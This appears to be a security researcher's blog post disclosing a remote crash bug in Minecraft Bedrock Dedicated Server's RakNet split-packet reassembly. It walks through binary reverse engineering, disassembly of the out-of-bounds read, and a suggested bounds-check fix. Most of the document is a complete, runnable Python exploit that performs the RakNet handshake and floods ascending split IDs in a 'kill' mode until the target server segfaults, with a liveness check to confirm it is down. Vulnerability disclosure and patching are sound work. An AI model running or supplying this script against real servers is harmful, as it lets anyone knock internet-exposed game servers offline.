RakNet Split-Frame Reassembly in Bedrock Dedicated Server
Leveraging how the Raknet netwokring engine reassmbles packet's inflight to achieve a out of bounds heapwrite
My CVE allows for any BDS (Bedrock Dedicated Server) exposed to the internet to be remotely crashed. The attacker is able to bypass any and all in-game checks and allowlist protections.
In this blog post, I will outline the steps I took to reverse engineer BDS: researching target surfaces, choosing a target surface, fuzzing the target surface, reverse engineering through IDA and Python, and finally leveraging them to crash BDS.
Start with downloading the BDS bin:
curl --http1.1 -fL -A 'Mozilla/5.0' https://www.minecraft.net/bedrockdedicatedserver/bin-linux/bedrock-server-1.26.52.3.zip -o bds.zip
unzip -j bds.zip bedrock_server
Through looking at documentation and analyzing the BDS architecture, I settled on finding a bug that met two requirements:
- No authentication with Microsoft services.
- No in-game account required—reachable before the login network stage.
Inspired by CVE-2018-5391 (FragmentSmack), which targeted packet fragment reassembly in the Linux kernel, this CVE targets how network-facing applications put split packets back together before checking who sent them. When a RakNet (UDP) payload is too large to fit into a single packet, it gets chopped up into multiple smaller frames that the server has to reassemble in memory(Determined by the MTU)
To find where this lives in the binary, I started by pulling section headers, hunting for RakNet strings, and dumping the assembly around those functions:
readelf -hSW bedrock_server
strings -a -t x bedrock_server | rg 'RakPeer|RakNetSocket|ReliabilityLayer|BitStream|splitPacket|incomingAcks|incomingNAKs|orderingChannel'
strings -a -t x bedrock_server | rg 'NetworkPeer|PacketSecurity|PacketLimit|ConnectionRequest|NetworkSettings|ValidatedLogin'
objdump -d --start-address=0xd5cc820 --stop-address=0xd5d1380 bedrock_server
objdump -d --start-address=0xd603260 --stop-address=0xd603590 bedrock_server
At a high level, normal player traffic flows through the server like this:
Mapping out the RakNet functions from the binary gives a much clearer picture of what happens under the hood:
Looking at the diagram above, the reliability layer reassembles split packets way before the packet ever reaches BDS packet processing or Minecraft authentication. All it takes to reach this code is finishing a basic RakNet UDP handshake. Let's zoom in on the Split channels / reassembly box to see how it actually tracks those pieces:
Once the fragments have been stored, the completion path builds the output packet and releases the reassembly state:
Every split packet carries a splitId number so the server knows which pieces belong together. Because a client might have multiple split packets in flight at the same time, the server keeps a sorted list of active split-packet trackers for each connection (stored at connection+0x10e8, with the current item count at connection+0x10f0). When a new piece arrives, the server does a [Split ID lookup] using a binary search over that sorted list. That search returns a slot number from 0 up to count telling the server where that splitId belongs.
Here is where the bug happens in IDA. Right after the binary search gives back a slot number, the server checks if the tracker at that slot matches the incoming packet before deciding whether to open a [New channel]:
c48aaaa: mov r15, [rax+rbx*8] ; rbx = slot index from search; reads one slot PAST the list when rbx == count
c48aaae: mov eax, [r15+0x10] ; tries to read from that garbage pointer -> crash (SIGSEGV)
c48aab2: cmp eax, [r15+0x14]
c48aab6: jne <insert path>
Because list indexes start at 0, the last real item in the list is at count - 1. If an incoming packet has a splitId bigger than every other splitId currently in the list, the binary search returns count—telling the server to insert the new item at the very end. Instead of checking whether the returned index equals count first, the code immediately reads list[count], which is one slot past the end of the array. It pulls whatever random leftover data is sitting in heap memory right after the list, treats it like a valid pointer, and tries to read [r15+0x10] from it. As soon as that garbage value points to unmapped memory, the whole bedrock_server process segfaults and dies on the spot. While fuzzing and testing this in Python, one detail stood out right away: sending split packets with IDs counting down (like 10, 9, 8) never caused a crash. Because each new ID is smaller than the ones before it, the binary search always puts it at index 0 at the very front of the list, which is valid memory. Sending split packets with IDs counting up (like 1, 2, 3) forces every single packet to land at index count, reading past the end of the list every time until the server hits a bad address and crashes. Fixing this on the server side only takes a single bounds check: before reading from list[index], verify that index is strictly less than count. If index equals count, skip the comparison and jump straight to the new-channel insertion path. In 1.26.52.3, the [Copy fragments] loop looks like this:
000000000d5cf4b5 <.text+0x95c7275>:
d5cf4b5: 45 31 f6 xor r14d,r14d
d5cf4b8: 45 31 e4 xor r12d,r12d
d5cf4bb: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
d5cf4c0: 49 8b 47 08 mov rax,QWORD PTR [r15+0x8]
d5cf4c4: 4a 8b 2c f0 mov rbp,QWORD PTR [rax+r14*8]
d5cf4c8: 41 8d 7c 24 07 lea edi,[r12+0x7]
d5cf4cd: c1 ef 03 shr edi,0x3
d5cf4d0: 49 03 7d 48 add rdi,QWORD PTR [r13+0x48]
d5cf4d4: 48 8b 75 48 mov rsi,QWORD PTR [rbp+0x48]
d5cf4d8: 8b 55 18 mov edx,DWORD PTR [rbp+0x18]
d5cf4db: 83 c2 07 add edx,0x7
d5cf4de: c1 ea 03 shr edx,0x3
d5cf4e1: e8 1a 3a 81 01 call ede2f00 <memcpy@plt>
d5cf4e6: 44 03 65 18 add r12d,DWORD PTR [rbp+0x18]
d5cf4ea: 49 ff c6 inc r14
d5cf4ed: 41 8b 47 10 mov eax,DWORD PTR [r15+0x10]
d5cf4f1: 49 39 c6 cmp r14,rax
d5cf4f4: 72 ca jb d5cf4c0 <__cxa_finalize@plt-0x1813860>
Okay we have our entry point, how do we escalate?
- Start a basic raknet handshake(OpenConnectionRequest / Reply, then ConnectionRequest)
- Start split packets and just don't finish them. Send incomplete fragment sets.
- Keep sending new split frames with a splitId bigger than every splitId already in the list. Every single one makes the binary search hand back index == count.
- Every one of those lookups reads one slot past the end of the list and dereferences whatever garbage is sitting there in the heap.
- Sooner or later that garbage isn't a real address. In testing, it didn't take long. The read faults and bedrock_server segfaults.
import socket, sys, struct, time, os, random
MAGIC = bytes.fromhex('00ffff00fefefefefdfdfdfd12345678')
random.seed(struct.unpack('<Q', os.urandom(8))[0])
MAXFRAG = 1300
def u24le(v):
return bytes((v & 0xff, (v >> 8) & 0xff, (v >> 16) & 0xff))
def addr4(ip, port):
b = socket.inet_aton(ip)
return bytes([4] + [~x & 0xff for x in b]) + struct.pack('>H', port)
def frame_bits(payload, bit_len, msg_index=0, split=False,
split_count=0, split_id=0, split_index=0):
out = bytes([0x40 | (0x10 if split else 0), bit_len >> 8, bit_len & 0xff])
out += u24le(msg_index)
if split:
out += struct.pack('>IHI', split_count, split_id, split_index)
return out + payload
def datagram(seq, frames, flags=0x84):
return bytes([flags]) + u24le(seq) + b''.join(frames)
def ocr1(mtu_payload=1400, proto=11):
return bytes([0x05]) + MAGIC + bytes([proto]) + b'\x00' * max(0, mtu_payload - 18)
def ocr2(ip, port, mtu, guid):
return bytes([0x07]) + MAGIC + addr4(ip, port) + struct.pack('>HQ', mtu, guid)
def handshake(sock, server, timeout=3.0):
guid = random.getrandbits(63) | 1
sock.settimeout(timeout)
sock.sendto(ocr1(), server)
try:
data, _ = sock.recvfrom(2048)
if not data or data[0] != 0x06:
return None
sock.sendto(ocr2(server[0], server[1], struct.unpack('>H', data[-2:])[0], guid), server)
data, _ = sock.recvfrom(2048)
if not data or data[0] != 0x08:
return None
cr = bytes([0x09]) + struct.pack('>Qq', guid, 1) + b'\x00'
sock.sendto(datagram(0, [frame_bits(cr, len(cr) * 8)]), server)
t_end = time.time() + timeout
while time.time() < t_end:
data, _ = sock.recvfrom(2048)
if data[0] not in (0xc0, 0xa0) and 0x10 in data:
break
else:
return None
except socket.timeout:
return None
nic = (bytes([0x13]) + addr4(server[0], server[1])
+ addr4('255.255.255.255', 0) * 20 + struct.pack('>qq', 1, 2))
sock.sendto(datagram(1, [frame_bits(nic, len(nic) * 8, msg_index=1)]), server)
return {'seq': 2, 'msgidx': 2}
def send_split(sock, server, st, payload, bit_len, count, sid, idx):
f = frame_bits(payload, bit_len, msg_index=st['msgidx'], split=True,
split_count=count, split_id=sid, split_index=idx)
sock.sendto(datagram(st['seq'], [f]), server)
st['seq'] += 1
st['msgidx'] += 1
def mk_completion(sock, srv, st, N, oob_byte, sid):
assert N % 16 == 8 and N >= 24
L = N - 9
frags = []
idx = 0
left = L
while left > 0:
n = min(MAXFRAG, left)
frags.append((b'A' * n, n * 8, idx))
left -= n
idx += 1
for k in range(8):
frags.append((bytes((0x60 + k, oob_byte if k == 7 else 0x61 + k)), 9, idx + k))
count = idx + 8
for payload, bits, i in frags:
send_split(sock, srv, st, payload, bits, count, sid, i)
def liveness(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(1.5)
try:
s.sendto(ocr1(), (ip, port))
d, _ = s.recvfrom(2048)
return d[0] == 0x06
except socket.timeout:
return False
finally:
s.close()
def udp():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((os.environ.get('SRC_IP') or '0.0.0.0', 0))
return s
def main():
ip, port = sys.argv[1], int(sys.argv[2])
mode = sys.argv[3] if len(sys.argv) > 3 else 'kill'
srv = (ip, port)
s = udp()
st = handshake(s, srv)
if not st:
print('repro: handshake failed (server down/wedged or not BDS RakNet)')
return
if mode == 'gdb':
print('repro: handshake done, sleeping 4s (attach now)')
time.sleep(4)
mk_completion(s, srv, st, 72, 0x42, 0x7777)
time.sleep(0.6)
print(f'repro: single N=72 completion sent -> server {"ALIVE" if liveness(ip, port) else "DEAD"}')
return
byteval = int(mode, 0) if mode != 'kill' else 0x42
classes = [24, 40, 56, 72, 104, 136, 168, 264, 520, 1032]
sid = 0x7000
n = 0
for sweep in range(4):
for N in classes:
mk_completion(s, srv, st, N, byteval, sid)
sid += 1
n += 1
time.sleep(0.25)
if not liveness(ip, port):
print(f'repro: server DEAD after {n} completions (sweep {sweep}, last class {N}, byte {byteval:#x})')
return
print(f'repro: server still ALIVE after {n} completions (byte {byteval:#x})')
if __name__ == '__main__':
main()
How it could be fixed:
idx = lower_bound(contexts, count, splitId); // valid range: 0..count
if (idx < count && contexts[idx]->splitId == splitId
&& contexts[idx]->matches(...)) {
/* existing context — record the fragment */
} else {
/* insert a new context at idx — never read contexts[idx] here */
}